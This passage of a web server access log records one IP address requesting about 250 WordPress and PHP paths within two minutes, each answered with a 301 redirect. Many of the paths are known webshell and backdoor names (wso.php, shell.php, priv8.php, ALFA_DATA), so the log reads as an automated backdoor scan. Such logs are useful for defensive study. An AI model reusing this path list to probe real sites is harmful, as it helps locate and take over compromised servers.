/wp-includes/cqhnpmqs.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:59 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:59 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:00 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:00 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:01 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:01 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:02 -0400] "GET /wp/wp-admin/includes/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:03 -0400] "GET /wp-content/plugins/nsplvxi/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:04 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:05 -0400] "GET /wp/wp-content/themes/f6pe9wcj/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:06 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:06 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:07 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:08 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:08 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:09 -0400] "GET /alert.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:11 -0400] "GET /wp-content/plugins/config HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:13 -0400] "GET /wp-content/themes/bltm/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:13 -0400] "GET /wp-content/plugins/6i85g10k/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:14 -0400] "GET /wp-content/uploads/2014/03/smile.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:15 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:15 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:16 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:16 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:17 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:17 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:18 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:18 -0400] "GET /bitrix/js/seo/ads/client_selector/lang/ru/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:19 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:19 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:20 -0400] "GET /.well-known/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:20 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:20 -0400] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:21 -0400] "GET /assets/cms/plugins/ckfinder/_samples/php/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:21 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:21 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:21 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:22 -0400] "GET /wp-admin/css/colors/coffee/themes.php.hacked HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:22 -0400] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:23 -0400] "GET /services.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:23 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:23 -0400] "GET /wp-includes/Requests/Exception/content.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:24 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:24 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:24 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:25 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:25 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:25 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:26 -0400] "GET /components/com_jea/views/form/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:26 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:27 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:27 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:27 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:28 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:30 -0400] "GET /sleepster/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:30 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:31 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:31 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:32 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:32 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:33 -0400] "GET /wp-includes/js/e3B6W/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:34 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:34 -0400] "GET /wp-content/plugins/df2xx/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:35 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:35 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:35 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:35 -0400] "GET /wp-content/plugins/lgexwbe/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:36 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:36 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:37 -0400] "GET /ioxi02.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:37 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:38 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:38 -0400] "GET /css/dist/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:38 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:39 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:39 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:40 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:40 -0400] "GET /configure.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:41 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:41 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:41 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:42 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:43 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:43 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:44 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:44 -0400] "GET /makeasmtp.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:44 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:44 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:45 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:45 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:45 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:46 -0400] "GET /change_password.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:46 -0400] "GET /wp-admin/images/profile.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:47 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:47 -0400] "GET /wp-content/uploads/2023/03/z.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:47 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:48 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:48 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:49 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:49 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:50 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:50 -0400] "GET /wp-content/plugins/fancybox-for-wordpress/fancybox/termark/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:50 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:51 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:51 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:52 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:52 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:52 -0400] "GET /wp-content/plugins/qufeaoy/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:53 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:53 -0400] "GET /wp-content/themes/newstoday/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:54 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:54 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:55 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:55 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:56 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:56 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:57 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:57 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:58 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:58 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:59 -0400] "GET /welcome.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:39:59 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:00 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:00 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:00 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:00 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:01 -0400] "GET /wp-content/plugins/akbifoe/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:01 -0400] "GET /project/plugins/bootstrap-rtl/css/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:03 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:05 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:07 -0400] "GET /wp-content/upgrade/edit-links.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:08 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:09 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:13 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:14 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:15 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:16 -0400] "GET /lv.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:18 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:19 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:19 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:20 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:20 -0400] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:21 -0400] "GET /test/essexec.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:21 -0400] "GET /plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:22 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:22 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:23 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:23 -0400] "GET /author.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:23 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:24 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:25 -0400] "GET /notifications.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:25 -0400] "GET /suu.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:25 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:26 -0400] "GET /wp-admin/images/wp-load.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:26 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:27 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:28 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:28 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:28 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:29 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:29 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:30 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:30 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:31 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:31 -0400] "GET /wp-content/plugins/lsxvhpg/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:32 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:32 -0400] "GET /wp-content/plugins/idjnpjx/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:33 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:33 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:34 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:35 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:35 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:36 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:36 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:37 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:37 -0400] "GET /wp-content/themes/h47vbpo2/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:38 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:40 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:40 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:41 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:42 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:43 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:44 -0400] "GET /wp-content/plugins/pxkxbea/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:44 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:45 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:46 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:47 -0400] "GET /yanz.php/wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:48 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:48 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:49 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:49 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:50 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:52 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:52 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:52 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:53 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:53 -0400] "GET /wp-includes/Text/Diff/Renderer/install.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:54 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:54 -0400] "GET /images/resumes/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:55 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:55 -0400] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:55 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:57 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:57 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:58 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:58 -0400] "GET /wp-content/plugins/sfdfryt/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:59 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:59 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:40:59 -0400] "GET /about.php?dir=/home/tvfuazjx/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:00 -0400] "GET /wp-content/plugins/vheezid/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:01 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:01 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:02 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:02 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:03 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:03 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:04 -0400] "GET /wp-content/user/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:04 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:05 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:05 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:06 -0400] "GET /download.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:41:06 -0400] "GET 